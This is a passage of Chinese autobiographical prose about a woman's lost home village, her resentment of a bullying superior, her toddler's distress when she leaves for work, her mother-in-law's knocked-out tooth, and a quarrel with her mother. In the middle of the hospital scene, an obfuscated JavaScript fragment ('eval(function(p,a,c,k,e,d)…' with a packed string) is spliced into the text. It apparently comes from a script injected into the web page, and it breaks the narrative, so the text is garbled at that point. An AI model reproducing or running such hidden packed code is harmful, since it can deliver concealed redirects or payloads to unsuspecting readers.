荆堂村与周边地点:南荆堂村,北荆堂村,牧羊沟,杜村,萝村,白山,张庄。 主要农产品:南瓜、玉米、青豆、绿叶菜、西瓜。 村里单位:荆堂村村委会、荆堂村党支部、荆堂村快递站、荆堂村村长。” 其他的,我再也看不到关于荆堂的只言片语了。 我点了一下“荆堂村快递站”,希望能出现乡亲的声音,希望能听到熟悉的一声“喂——”,然后我笑着哭着手忙脚乱地跟她诉说。 可是我什么都没有找到。 早就听我弟弟说,荆堂已经搬迁了。我不知道他到底是去了哪里。那搬迁了的地方还是不是我的荆堂。我的荆堂,有家东,有西岭,有青石的屋,有黄泥的路,还有爷爷的小茅草房儿。可是如今,都已经消失不见了。 没几天,我在忙完家务以后,看了一眼手机。看到了我妹妹给我发的信息。 “姐。俺妈妈带着我去南荆堂村部来起户口了。山东发展好了,变化不少。”她还发了几张很现代的门楼和图片。 我看了一下,觉得那不是荆堂,就埋怨她说: “你也真是的,你去南荆堂了?我多少年没回去了。你也不跟我说一声啊,你跟我视频看看啊。真是的!我还不知道哪辈子去呢。” “我可想去南荆堂了。我怎么办,我现在小孩儿小我都去不成。妈妈带你去了?怎么之前一点儿没听她说的呢?你也不跟我说一声。南荆堂什么样子了?你说这种事儿,你不跟我说一声儿吗?我都多少年没回去了。我十五岁出来的,我都二十五年没回去了。你发镇里的照片给我干什么?我不想看镇里的照片,我就想看荆堂的。” “你到那儿都见谁了?有没有见到熟人啊?咱二姑、二爷爷的?” 我妹妹说:“我是被咱妈带去迁户口的,凡贵二大娘的二儿开车去的。咱妈给人家三百块钱。我自己哪有时间去。去开证明,需要我去签字。结果没办成。就去南荆堂村部。结果,咱妈的户口本儿上写的是‘未婚’,没写‘丧偶’两个字。可麻烦了,别提了。我都累死了。” 我说:“知道,你发的都是现代化的镇里的照片,不是南荆堂的照片。我想看看南荆堂的照片。” 我妹妹说:“哦,那可能是重新整修了。我去的就是南荆堂村部。” 我说:“哦,可能是拆迁了,不在原来那地方了。一点儿都不是原来那样子。你好好休息吧,小妹。你喝点水,你看你嗓子,哑哑的,可能是着凉了,也可能是累的。那是我看错了,我以为是镇里的照片,我没想到就是南荆堂的照片。我看你那照片上写地不是南荆堂嘛?啊?不是荆堂了?改名儿了?” 正说着,我的宝宝进来了。她抱着一堆小画本儿让我给她讲故事:“讲!” 我说:“妈妈给你讲妈妈的故事好不好。妈妈小的时候,跟你的阿姨一起,在一个叫荆堂的小村庄里。你阿姨那时候跟你差不多大,还是个宝宝。” 宝宝不耐烦地指着她的小画本说:“不要!讲这个!” 我说:“好好好!那妈妈给你讲《司马光砸缸》。” 2.妈妈的电话 第二天,我在路上走着,看到了张菲,她的手里拿着一本书。那本书有些花花绿绿。我没当一回事。走近了,跟她打招呼。 “看的什么书啊?”我问。 她把手里的书递过来给我看。这一看,我吃惊不小。 “《呼兰河传》!”我说,“我才看完《呼兰河传》!太好看了!我太喜欢萧红了。我应该跟你击掌共鸣啊。” “是的。我刚开始看。”她说。 “萧红的文章内容很散。但是她的文笔特别有灵气,特别真实。”我说。 “是的。老舍的风格也是这样。”她说。 “老舍的《骆驼祥子》我刚看过。真好看!看书还是要看大家的。”我说。 “老舍的书我家里有一套。”她说。 “你说那个时代的作家是怎么写作的?太不容易了。我现在用电脑写篇文章,我改来改去的,都可辛苦了。他们那个时候完全靠纸笔,又在战乱的年代,他们是怎么写的。”我说。 “他们的精神伟大啊。他们也有生活啊。他们写的都是他们自己的生活啊。你看,鲁迅的《从百草园到三味书屋》。你得先有个园子啊。”张菲说。 “是的。你说现在有什么生活。每天就是上班、下班。我们才是活在四角的天空里。”我说,“我太喜欢萧红的书了,我看完《呼兰河传》,又找了一本,她的散文和小说。回头我带给你。我已经找不到她的文章了。哪怕是一个碎纸片,只要是她写的,我都想看。她死地太早了,没留下太多的文字。太可惜了。我现在终于理解书迷的感受了,只要是她写的我都看。” “她还有一本,《小城三月》,我回头带给你。”张菲说。 “好。”我说,“我看地很慢。我真的是一字不落地看。我对她的文字深有体会。就是太悲凉了。但是人间就是这样的。” 她说:“你看书认真,我看书都是囫囵吞枣。你开会也可以看啊。” 我说:“开会看不进去。没效果,到底是一心不可两用。等于白白浪费了好东西。” 我朝四下里看了看,跟她说:“两个被发落的人在这儿谈论学问。这要是被杜社长看见了,他是不是觉得我们很好笑?” 张菲说:“你管他呢!他自己没文化就打压贬低别人。他自己吹个牛都吹不好。” 我说:“在他眼里,我们就是皓首穷经的腐儒。只知道死读书,读死书,不会搞那些新鲜花样。不知道变通,跟不上时代发展了。” 张菲说:“他那纯粹是放屁!他就是狗眼看人低!一个编辑只有自己读的书多,他的谈吐、文章才能有底蕴、有厚度。他才更有创意!光靠那些时鲜的花样儿有个屁用!文化底蕴才是万变不离其宗的祖宗!” 我说:“是的呀!他们那些人,伦文化,论文笔,论幽默,论创意,哪个能跟老子比!最后居然说我差,说我没有他们厉害!真是搞笑!是他们根本没办法跟老子比!他们说啥就是啥。想怎么放屁就怎么放屁!老子不稀罕陪他们玩了!我要自己搞出一番名堂来,到时候,什么社长、科长!局长!我都不放在眼里!” 张菲说:“他们本来就不如你。他们哪个有你学历高,比你有文化。你是自己凭真本事考到这里的。他们不是靠了外甥、娘舅,连桥、连襟往上爬。他们现在还不知道在哪个犄角旮旯里趴着呢。我们这样的跟他们比那就是高知了!” 我说:“是的。跟我们比,他们才是土鳖!土包子!他们自己知道自己只是一只土鳖,他们怕我们看不上他们,他们就拼命地拿出他们土鳖的本事来疯狂地打击我们。他们想通过他们无耻地打击,来彻底击碎我们的尊严和自信。让我们反向去敬畏崇拜他们!我崇拜他们什么?我崇拜他们一肚子的蝇营狗苟、阴谋诡计吗?写篇文章试试,他们除了那些花拳绣腿儿,装模作样,他们哪个比我强。” 我说:“我现在想开了,我看见他们根本就不自卑。我有什么好自卑的。我不是被打压成这个样子,他们算什么东西?老娘肚子里全是文化,他们肚子里全是屎!她们永远达不到老娘的高度!我从里到外都是清清白白干干净净的!我不贪污不腐化不怕查!我就是一个光荣的劳动人民!我自卑什么!在我跟前,自卑的应该是他们!” 张菲说:“你本来就很优秀啊?你还是《小坛》的呢?你还是研究生呢。你不要被他们pua的不自信了。” 我说:“我发现杜涉蛮有意思的,‘明是一把火,暗是一把刀。’当面对你笑嘻嘻,背后对你捅刀子。捅完刀子再去笑嘻嘻地看看你,看看你有没有被他捅死,看看他捅了你,你有没有生气。他就是这样,他每次打压完我,就去看看我。我觉得他是个日本货,made in japan,他特别奸诈,特别伪善,特别会凌虐正直的良民。” 张菲说:“这有什么大惊小怪的,习惯了就好。你还没习惯啊。” 我说:“我走了,我忙地要死。我忙着写写东西。你也写吧。咱们都是学文学的。你也可以写啊。” 她说:“我文笔不行。” 我说:“你说话那么溜,比我厉害多了。你怎么不能写的。你是没开口子。你开个口子试试,简直就刹不住。” “性格。”她说,“每个人的性格不同。有的人很能说,但是不能写。有的人说起话来貌不惊人,但是很能写。我是真的不想写。” 我说:“你说地很对,你看问题就是通透。我写东西不是因为爱,也不是因为恨。也不是为了证明给谁看。就是喜欢。我就喜欢安安静静地待着。” 她说:“你不要压力太大了。” 我说:“都被踩成这个样儿了,还没有压力呢?!” 张菲说:“谁踩你的?” 我指着头顶上杜涉的办公室说:“他踩我的!他拿我不当人,他觉得我可以不要脸。” 张菲说:“他算个球。” 我说:“他当然算个球,而且是个臭球、坏球。他踩在我的头顶上,让我过着没脸没皮的生活。我要不是会自我开解,我早就活不下去了。” 张菲说:“当然要自我开解了。有空出去走走吧,春天来了。” “是的,春天来了。”我说,“我回去了。回去再忙一会儿,就要下班了。” 是的,春天来了。油菜花开放了,那些村庄在花朵的映衬下显得更加好看了。 其实,村庄还是那个村庄,你给她雪上加霜,她就变得沧桑,你给她锦上添花,她就变得辉煌。 油菜花丛里,一只白鹭呼啦啦飞起。我这才发现,原来白鹭的翅膀是那么大,她的羽翼是那么长,她的命是那么硬,她的身躯是那么能扛。经过了那么严寒的冬天,她居然活下来了。冬天虐杀了那么多的庄稼,让她无处栖身了。冬天封锁了她的粮食,不给她虫子吃。她饥寒交迫东躲西藏的样子,让脑满肠肥的冬天笑得印堂发黑。可是她没有死啊。春天一到,她又飞起来了。冬天对她严防死守,步步紧逼,可怜这孤单的小鸟,她是怎么一步步咬紧牙关熬了过去。 冬天是夹着尾巴逃跑了,冬天是专注于给人制造苦寒的,他的恶劣是会要了人的老命的。什么时候,才能没有这吃人的冬天呢。 然而一朵生命是不会轻易给踩死的。地上,一朵一朵的黄色的蒲公英还是不可阻挡地灿烂地盛开了。是的,生命的力量是不会被活活地给封锁掉的。 一个正在被扼杀的生命的力量是微小的,一个准备或是正在扼杀另一个生命的力量也是微小的。在宇宙的不可预测的生命里,我们都是凡胎□□。谁也不要高估谁的生命力。如果一个人不遵循自然规律,妄想人工地扼杀掉另一个人的生命的力量,那他就是跟天地作对,跟宇宙力量作对。他是会遭天谴的。 是的,春天来了。下班了,我骑着电动车走在路上。我的屁股和大腿是那么粗壮,我的肩膀是那么宽阔有力量。我紧握电动车车把的样子,跟我小时候坐在小车上照全家福的样子一模一样。造化弄人,想不到,三十多年后,我成了现在这副摸样。 地上,涌起我喜欢的青草芽子的香气。树叶泛青了,我居然闻到了枝干的清香。那是他忍了一冬的窝囊和憋屈呢。现在,他的春天来了,他要转动他全身的筋骨和血脉,他要把憋了太久的傲骨和气概一股脑儿地给释放出来。 树上的樱花也开了,在过去的寒冬里,人家只看到她被剥夺尽枝枝叶叶的光秃秃的枝条,人们已经忘记了,她还会开花呢!是的,她的确是一棵美丽的树啊,她是有她的绿叶和花朵的。不是遭遇了严冬的迫害,她可是会开出比谁都要美丽的花儿来。只是,在肆虐的冬雪和雪冬面前,人们几乎全都选择性地忘记了。他们觉得她哪里还是个活物,她就是一根废柴! 晚上,临睡觉的时候,我问宝宝:“今天跟奶奶到哪里玩的?” 宝宝说:“奶奶带我去了小广场。” 我说:“小广场上人多吗?” 宝宝说:“小广场没有人,只有我们。后来,奶奶带我回家。家里没有妈妈。” 我说:“妈妈上班去了。” 宝宝说:“妈妈不要上班。” 我说:“妈妈不上班,怎么给你赚钱买奶粉呢?妈妈要上班,赚秀多秀多的钱,给你买玩具,给你买个大房子。” 宝宝说:“我不要,我要妈妈!” 我拨拉着她的头发说:“妈妈怎么能天天陪着你呢?妈妈要是不上班,你吃什么喝什么呢?你看,你的头发都长了。太热了。回妈妈带你去剪个短头发。要不太热了。快到夏天了。” 宝宝说:“夏天有妈妈吗?” 我说:“夏天有妈妈。每天都有妈妈。” 第二天,下班回家以后,我把从食堂里打回来的饭分成两份,放到宝宝的小桌子上。我跟老太太说:“今天食堂的饭是素鸡烧肉,还蛮好吃的。你带着宝宝先吃。我来烧个汤。” “好的,谢谢!”老太太说。 我站在洗碗池边洗小葱,宝宝搬个小凳子跑了过来。 “我帮妈妈洗菜。”她说。 “不用你洗,别来捣乱了,去吧。厨房危险,去,跟奶奶一起吃饭去。”我说。 “我要洗菜。”宝宝说,“洗洗!洗洗!” “不要你洗。妈妈打了哈。”我看了一眼宝宝,宝宝“蹭”地一下蹬着她的小凳子跑走了。 “哎哎哎!啊……啊……”老太太躺在地上蹬着腿儿。 “怎么回事儿?怎么了?要不要打120啊?”我说。宝宝也站在一边惊恐地看着。 “啊……啊……”老太太还是躺在地上蹬着腿儿。 “怎么了?怎么了?要不要打120啊?”我说。我把宝宝抱了起来。 老太太坐了起来,她捂着嘴,两腿儿蹬着在地上坐着。 “啊哈哈哈哈……啊哈哈哈哈……” “怎么了?妈妈?你没事吧?”我问她。 “宝宝给我撞的。她跑,我来接住她,她给我撞的。”老太太捂着嘴说。 “啊?宝宝,你看你把奶奶撞地可怜吧?你以后千万不要跑了!”我跟宝宝说。 “啊!噗!”老太太往垃圾桶了吐出了一颗长长的牙。 “啊?宝宝,你把奶奶的牙撞掉了?”我说,“赶紧去医院吧,看看能不能种上。” 我给端午打了电话。 “喂!宝宝在家里跑的时候,把你妈的牙齿给撞掉了。我现在带她去医院。”我说。 “好!我跟我爸爸马上过来。”端午说。 我给宝宝找了件衣服。抱起宝宝就跟老太太一起去了医院。 到了急诊分诊台,医生问:“医疗卡带了吗?” 老太太捂着嘴摇摇头。 “年纪多大了?”医生问。 “我妈六零年的。”我跟医生说。 “几月几日?”医生问老太太。 老太太捂着嘴不说话,看看医生手里的笔。医生把笔给了她。又给了她一张纸。 她在纸上认认真真地写下:1960年3月4号。她写得那么规范,那么优雅。1960年的“0”画地圆圆的。 乖乖!真服了!这时候还要秀大家闺秀的风范呢。直接说不就行了吗。太能装了! “好。交完费出去,外科大楼一楼。”医生说。 “好!谢谢!”我说。 交完费,我抱着宝宝跟老太太一起在夜色里穿行着。 “妈呀!外科大楼在哪呀?”我抱着孩子气喘吁吁地说。 “哦,这里。” 我们七拐八拐地终于到了一楼吧台。 “护士,牙科在哪里啊?”我问。 “你辅导他写作业。我这里来病人了。”值夜班的女医生跟电话那头儿的人说。 “来,过来躺下!”她朝着我们说。 老太太过去躺下了。 “你这几颗都给拔了,到时候重装吧。都不行了。”医生说。 “装起来吧。”老太太说。 “我可以给你装起来,但是你这骨头不行了呀。就是我可以给你装上,但是你最后还是得拔掉,没啥用了。”医生说。 “不要紧,装上吧。”老太太说。 “你这附近几颗牙齿都不行了,太松了。我都给你拔掉吧。”医生说。 “你这里可以装假牙吗?医生?”我问。 “一般是过三个月。”医生说,“她掉下来那颗牙,包括附近两颗都不行了。”医生说。 “是的呢。刚才在车上那个女司机说,宝宝还小,怎么一撞就撞下来了呢?”我说。 “她自己的牙本身就不行。”医生说。 “就是等于说,那个土壤不够厚是吗?”我说。 “没有土了。”医生说。 端午跟老头子也来了。我看见老头子来到了我对面的走廊里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“有什么不好的。已经这样了!”我说,“还是我带着她。她根本就不跟你。” “那我明天去医院看看我妈妈。”端午说。 “行吧。按我说,有你爸爸陪着。你也不要去。”我说,“你妈妈只是牙齿有问题。她可以走可以吃饭,有你爸爸陪着就可以了。她又没有住院。她要是真的需要住院了,你再请假也不迟。现在请假多难啊。你还是把机会留着吧。我明天是没事。我后天有事。后天要是你妈妈还不好,就只能你请假带孩子了。” “那我请两天假。我明后天都请假。”端午说。 “你干嘛要请两天假?请两天假是什么概念?你就好好去上你的班。宝宝跟我。”我说。 “你不要管我的事!”端木说。 路上,我跟宝宝说:“宝宝,以后可千万不要再跑了。听到了吗?你看你把奶奶的牙给撞掉了。奶奶疼地可怜吧?” 宝宝呆呆地看着我说:“嗯。” “但是呢。奶奶的牙齿被撞掉了,也不全是你的责任。你也不要太害怕。”我说。 端午说:“怎么不是她的责任!以后不要瞎跑!” 我说:“医生都说了,你妈妈的牙齿本来就不好。跟她的牙齿的特点有关系。否则,怎么可能被宝宝给撞掉。你不要不顾事实,全怪宝宝!” “怎么没有她的责任,至少有她一半的责任。”端午说,“以后要教育她不要乱跑!撞了别人或是撞着自己都不好。” “嗯。我以后会教育她。你也跟你妈妈说说,让她好好管管她,不要让她乱跑。”我说。 “我不要跟爸爸!”宝宝哽咽着说。 “不跟爸爸。妈妈明天带你。”我说。 回到家,端午来到小房间倒头就睡了。我带着宝宝收拾残局,洗碗、倒垃圾。给宝宝洗衣服洗澡,忙到十一点才睡。 第二天一大早,我正在客厅里忙活。端午起来了,他弯着腰要去我们房间看宝宝。 我跟他说:“宝宝昨天睡得晚,还没醒呢。你不要去打扰她。” 端午折回来跟我说:“今天你带她?那我去上班了。” “嗯。你好好上你的班。我带她去上班。我来收拾一下东西。”我说。 端午走了。我收拾好尿不湿,奶瓶,把宝宝叫起来,带着她上了电动车。 中午的时候,老太太给我打电话:“大省,我这边结束了。我现在等车。快一点的时候。你把宝宝送过来吧。” 我说:“我送她来回耽误时间的。她中午要睡觉。我带着她睡觉了。你回家好好休息吧。我昨天都慌地一夜没睡好觉。你肯定也没睡好。” 老太太说:“好的。” 下午下班的时候,我带着宝宝走在路上。 我跟她说:“奶奶回来了,明天你跟着奶奶。妈妈去上班。好吗?” “我不要跟奶奶!”宝宝哽咽着说。 “妈妈要上班的。妈妈不能一直带着你啊。”我跟她说。 “啊——”宝宝大哭了起来。 “别哭!”我说。我慢慢地骑着电动车,亲着她的头发说,“在路上哭不好。啊。眼睛会疼的。来!妈妈给擦擦眼泪。”我在路边停下来,拿出抽纸来给宝宝擦擦眼泪。然后继续带着她往前走。 “啊——”宝宝又大哭了起来。我又停下来给她擦眼泪。就这样,一路走,一路停。手机里,老太太的几个电话我都没来得及接。 第二天,我照常起来去刷锅、烧菜。我准备吃饭的时候,宝宝穿着粉色的睡裙出来了。 “你起来了,宝贝?你跟着奶奶,妈妈要喝粥,要上班。”我说。 “妈妈不要上班。”她跪到桌子跟前的一张椅子上说。她看着我吃饭。 “不上班怎么能行呢?你还要吃奶呢。还要用尿不湿呢。”我说。 “妈妈不要去上班!”宝宝撇着嘴哭着说。 “来!妈妈抱抱!”我把她抱过来,端着碗继续喝粥。 “你吃山芋吧?”我夹起一块山芋喂给她。 “吃榨菜。”她说。 “好!”我说。我从碗里挑了一根榨菜给她。 “辣!”她说。 “辣就喝口粥。”我喂她喝了一口粥。 “来!宝宝,奶奶抱你。”老太太伸出手臂说。 “不要你抱!”宝宝说。 “你去洗刷吧。妈妈。我来抱抱她。”我跟老太太说。 “好的。”老太太去刷牙了。 我抱着宝宝来到小房间。 “来,到奶奶房间里来。”我跟她说。宝宝伸出手臂扒着小房间的门框,不肯进去。 “妈妈不去上班。妈妈带我去上班。”宝宝哭着说。 “妈妈怎么能不去上班呢?妈妈怎么能带你去上班呢?”我说。 “妈妈不要去上班!”宝宝哭着说。 “妈妈去上班才能给你赚钱买衣服买玩具啊。”我跟她说。 “我不要!”宝宝哭着说。 “来!奶奶抱!”老太太说。 “我不要!”宝宝哭着说,“我要妈妈!我不要跟奶奶!” 我的眼泪也止不住地哗哗地流淌。 “给她拿张纸,擦擦眼泪。”我跟老太太说。老太太拿了一张纸来。我给宝宝擦擦眼泪,擤擤鼻涕。我自己也擤擤鼻涕。宝宝放声大哭,我也默默地流着眼泪。 “妈妈爱你!”我说,“正因为妈妈爱你,所以才要去上班啊。” “妈妈要去上班,啊。”我说着把她往老太太的怀里放。 “我不要!我不要!”宝宝大哭着挣扎着说。 我太理解她的想法了,我太知道她的感受了。我又紧紧地抱起她。 “几点了?”我看看手机,手机里一个未接电话。周,是我妈妈。我一手抱着孩子一手跟我妈妈回电话。 “喂!妈妈,你给我打电话有事儿吗?” 我妈妈说:“鸿雁把我给气死了!我给你说说!我明明我的心!” 我说:“哦,我看你六点就给我打电话,我还以为你有什么事儿呢。” 我妈妈说:“没有!就是鸿雁!他可把我气死了。” 我说:“鸿雁怎么了?” 我妈妈说:“怎么了!我托恁凡贵大娘家的二哥给他说的媒。人家恁二哥跟那个小女的说地蛮好的。人家那个小女人说的,‘我没有钱。俺娘家对我也不好。我以后找了对象,我得好好地过俺自己的日子,我不能帮着俺娘家。’” 我说:“人家说的对啊。怎么了?” 我妈妈说:“这不透好吗?我跟鸿雁说了,让他去跟人家联系。人家那个女的接了鸿雁的电话,人家就问鸿雁,‘你是谁啊?’鸿雁上来就不耐烦了,‘我!俺二哥介绍的!’你说说,有他这样的吗?人家那个小女的对他客客气气的,他还对人家不耐烦来!恁二哥辛辛苦苦地跟人家那个小女的聊的。鸿雁上来对人家就是这个态度!我托人给他找个对象容易吗?人家后来也跟他聊了,你说你跟人家那个小女的好好聊哎。他好!又要舔人家!又要摸人家!把人家那个小女的气得不跟他聊了!” 我看看钟表。已经七点二十五了。 我说:“妈,我不能跟你说了。小孩搁我怀里哭闹,不让我去上班。我还没推电动车呢,外头下小雨了。我路上还不能骑快。” 我妈妈说:“行。你说说,鸿雁这事儿做地,气人吧。” 我说:“妈,你别生气。不是还有俺跟笑笑姊妹俩儿吗。” 我妈妈说:“是的。有恁姊妹俩我就怪知足了。我自从春天到现在,就买了一块豆腐。都是笑笑跟你给我买的。就是鸿雁这个事儿,做地太气人了。你说,恁二哥,人家好心好意地。” 我说:“妈,我要迟到了!小孩儿缠我,我还放不下呢。以后,鸿雁的那些破事儿,你不要给我说!”我说完就把电话挂了。 “妈妈要迟到了。你跟着奶奶,妈妈下了班就回来。”我跟宝宝说。 “我不要!我不跟奶奶!”宝宝推开奶奶哭着说。 “你快走,别管她。”老太太说。 我把宝宝往老太太怀里放。 “不要!”宝宝大哭着扒着我的肩膀说。我实在放不下去。我狠不下心来。我狠不下心来把她狠狠地推开。 我抱起宝宝走出去。 “一起去吧。一起去拿电动车。”我说,“妈妈的电动车还在地下室。妈妈拿了电动车就要去上班了。” “我要跟妈妈上班!”宝宝哀求着说。 “你怎么能跟妈妈上班呢。妈妈上班怎么能带着你呢。”我抱着她手腕上拎着包走出门去。老太太也紧跟着。 “把包给我吧。”老太太说。 “没事。”我说。 我抱着宝宝走在路上。 “你看,人家宝宝都被爸爸妈妈送去上学了。你在家跟着奶奶,好吗?”我说。 “我要妈妈!我不要跟奶奶!”宝宝哭着说。她的哭声很大。小区里还没起床的人家估计要被她给吵醒了。她沉浸式地哭着。我知道她已经哭地昏天昏地了。我知道她此刻心里肯定很难受,是非褒贬,她已经什么都顾不得了。是的,我也有过这样的时候,所以,我知道她的。 “来,下来!妈妈去拿电动车。”到了电动车地下车库门口,我把宝宝放下来,她奶奶牵住了她。 “电动车在地下车库呢!你不要去哈!”我跟宝宝说着,转身朝地下车库走去。 “妈妈!妈妈!”宝宝挣脱着奶奶的手臂说,“放开我!放开我!” 我转头儿看了她一眼。她正挣扎着朝地下车库奔来。我顾不得那么多,我朝地下车库跑去。她也哭着追过来。 “妈妈!妈妈!”她哭着说。 我知道她的。她一定会追过来的。我太了解她了。因为我就是那样的。一个小孩子对父母最大的希冀就是不分开了吧。这是一个很小的愿望啊,这是一个很低的要求了。这对一个孩子来说不过分啊。可是有多少父母能够做到呢。我来到地下车库,拔掉充电器,推起电动车。宝宝紧跟着哭着过来了。 “妈妈!你不要上班!”宝宝哭着说。 我推起电动车上了坡道。出了电动车地下车库,在入口处停了下来。宝宝也哭着追过来了。 “我把她送回去。放在门口。”我跟老太太说。 宝宝踩上了电动车,站在我的膝前。 “我不要在门口!我不要在门口!”宝宝哭着说。 “妈妈你带着我!妈妈你带着我!”宝宝哭着哀求说。 我眼喊着热泪把她带到单元门口,把电动车停下。再把她抱回家。 “妈妈真的要去上班了。宝贝。”我看了一眼钟表,“妈妈要迟到了呀!” 宝宝可能知道我真的要走了,她开始用她的小嘴巴亲我的脸颊。 “妈妈你再抱抱我,再抱我一下!”她说。 我知道她还是很难过。 “好的。”我说。我把她紧紧地抱在怀里。她趴在我右边的肩膀上,享受着这仅有的几分钟的母爱的海洋。 “妈妈你再抱我一下。”她说。 “好了。”她说。她斜着身体朝奶奶凑过去。我顺势把她交给奶奶。 “妈妈你慢点!”她哽咽着说。 “嗯!”我哽咽着,说不出话。 “妈妈你走吧!”她哽咽着说。 “嗯!”我流着眼泪说,“你跟着奶奶好好的!妈妈下班就回来!”我说着,推开门。 宝宝看着我。我关上了门。 “妈妈!妈妈!”我听见门里头,宝宝大哭着。 我的眼泪滚滚而下。我来到楼下。擦擦眼泪。准备出发。 我到了图书室,安顿下来以后。就跟我妈妈打电话。 我说:“妈妈,刚才我太忙了,又要急着去上班,又要缠小孩儿,还下着小雨。刚才我都快迟到了。” 我妈妈说:“没事儿。我知道你也忙。你说鸿雁这事儿做的。” 我说:“妈,你也别生气,鸿雁肯定是觉得不能成,怕又是骗子,恁跟俺二哥又非让他跟人家谈,所以才不耐烦的吧。他遇到的骗子太多了。他不想跟人家谈就不谈吧。谈也未必就一定能成。说不定谈一阵子又散了呢。他一开始就谈不成,总比谈了一阵子,钱花了,又被人家骗了好。” 我妈妈说:“他不跟人家好好谈!后来人家跟他谈了。他又是要舔人家又是要摸人家!你说说哪有这样的! 我说:“年轻人谈恋爱,说多的说少的,也不奇怪。人家受不了就不跟他谈了呗。你都快七十了,你管好你自己。别管他了。你管也管不了。” 我妈妈说:“我能不管吗?我不给他弄个媳妇,我搁凡庄抬地起头吗?恁妈妈一辈子带着恁姊妹仨容易吗?” 我说:“妈,你看。你嘴上说生鸿雁的气,你心里还是为他好的。你巴不得鸿雁赶紧找个媳妇,俺跟笑笑都给他钱来。” 我妈妈说:“我以后死都不会问恁姊妹俩借钱!” 我说:“你说,你跟我堵这个气干什么的?我是倒实锤的。恁年纪大了,咱家又不富裕。鸿雁要是找了对象,要结婚了。我跟俺小妹帮衬娘家两个也正常啊。你跟我堵什么气的?” 我妈妈说:“等鸿雁要结婚的时候,我办贷款,我都不跟恁姊妹俩借钱!” 我说:“这话你也不要说地恁么早。你去贷款?你都七十了。人家银行还敢贷给你吧?你贷了款,怎么还的?你还能劳动几年啊?鸿雁的事儿,我觉得就是钱的事儿,都怪咱家没钱。不要说多,咱家要是有一百万,人家那些小女的就会跟他的。我没有钱,我要是有一千万,我就给鸿雁一百万。他立马就能找到媳妇了。” 我妈妈说:“你怎么还说是钱的事儿的?你意思是都是我没本事喽?人家甜蜜,他家里有钱吧?他娘什么都不行,他爹老了死了。人家早就结婚了。人家孩子都多大了!全凡庄就他没结婚了!我哪里对不起鸿雁的?我省吃俭用的。自从春天上到现在,我就买了一块豆腐!” 我妈妈说着,呜呜地哭了。 我听着我妈妈哭,我并不感动。我跟我妈妈说:“你别哭了!老人家!俺搁外头上班儿受多少气,我跟你哭过吗?俺经历了那么多事儿,被领导欺负、排挤,我都没到你跟儿里哭。哭没有用!没有人同情你的眼泪!我现在什么都不想,我就想着怎么赚钱。我要是有钱,我就帮鸿雁几个钱,我要是没钱,我什么都不说。说那些没有用。” 我妈妈哭着说:“哦,我说的都是没有用的?恁都忘恩负义!我把恁一个个的养大容易吗?” 我说:“你别哭了!妈妈!这不是忘恩负义。这是看透了。我光陪着你说话有用吗?你不知道现在年轻人有多难?你年纪大了,不要上班儿,俺的压力比你大!这半天,你光知道缠着我跟你说话,你不知道我担着多大的压力。幸好领导没来这儿。领导要是来了,看到我打电话,你说领导能给我好脸色吗?他恨不得把我给炒了!我压力多大你知道吧?我一上来什么事儿都没干,净陪着你说话了。我还要工作吧?我才四十,我又不是七老八十。我肩膀上的担子多重啊。上有老下有小的。鸿雁也是的。他搁外边儿容易吗?他到处找工作受难为,受领导欺负受同事欺负的时候,他跟你说过吗?你还光让他来回倒腾,他最后,工作也不稳定,女人也没找到。钱也没撇下来。你这不是害他吗?这年头儿,谁都想从旁人口袋里弄钱。你有钱,人家还想跟着你。你没钱,人家就想着怎么从你的口袋里弄钱。有几个想真心实意地跟着你过穷日子的?鸿雁都多大了?他有那找女人的钱,都被人家给骗了。还不如留着给自己以后养老来。找个女人,钱就没了。一辈子累死累活的。图的什么。” 我妈妈说:“我给你打过几回电话?我就跟你说说,人家那个小女的。多好,啊。人家想跟鸿雁谈的,鸿雁不好好跟人谈。他这不是坑我的吗?你还说是我的不是了。把我说的一无是处。我没有功劳还有苦劳吧?你放心,我以后都不跟你打电话了。我死活也不要你管。我只吃笑笑买的东西,我不吃你买的。你给我钱,我就撕了!你给我买东西,我就扔了!” 我妈妈说着挂了电话。我再打过去,她就不接了。 我无奈地放下手机。打开电脑。开始我的敲打。可是我的心又无法平静。我想想我妈妈,想想自己。只觉得可悲。我的两行眼泪滑落了下来。 我去饮水机那里接水喝去。对面的油菜地里,一个老人,在撅着腚收他的油菜呢。他白衣黑裤,离得远,我看不清他是个男人,还是个女人。他撅着腚干活儿,他的黑裤子垂直于地面地站立着。他抬起头来,朝前头走了几步,淹没在那堆像是蒹葭一样苍白的油菜稞子里。他的油菜熟了。这是他收获的季节。他的油菜是在头一年的秋天就已经种下去了。小麦也是在头一年的十月就种下去的。人们只看到他的收获,看不到他冬日里漫长的等待和秋日里艰苦的劳作。 在他上头的高岗儿上,很明显的,是一个女人在拿着镢头刨地呢。她的小小的孩子穿着白白的衣衫坐在地头儿上,头顶着天空,沐浴着太阳,跟我小时候一样,跟我的孩子一样。 52. 自序:呕出来的记忆 关于荆堂的记忆,我想我是回忆的差不多了。不是我想去回忆他们,是这些年,他们卡在我心里,卡地难受,我要把他们呕出来,我的心才轻松一点。 这些年,我一次次地做梦,梦见荆堂我的家,我家堂屋,我家堂屋东北角上摇曳的绿枝。 我来到了我家的里间,此时是白天,还是黑夜?我手摸着里间的帐子,那帐子散发着陈年的味道。里间的地上,是我妈妈放着的一袋子一袋子的麸皮和糠。我把手放进那袋子里,抄起一把麸皮来,再把它静静地撒下去。这儿,还是像以前那样,一贫如洗。穷得让你放弃了所有关于山珍海味的幻想。 对着四格棱的窗户,是我家的床。对,是我家的床,不是别人家的床,不是宿舍,不是宾馆,不是大路上。这是专属于我家的,我的。 扶着床沿儿躺下,对着里间的小门儿。静静地躺下。我看着我年轻的爸爸妈妈进进出出,看着我幼小的弟弟妹妹来来去去。我看着对面帐子上的判官,我对着他微笑,哭泣。我的父母都不在这儿了,我们也不在这儿了,唯有他还在这里。这些年,他守护着这个家。这个家塌了,倒了,没有人回来了,可是这个家还有他。 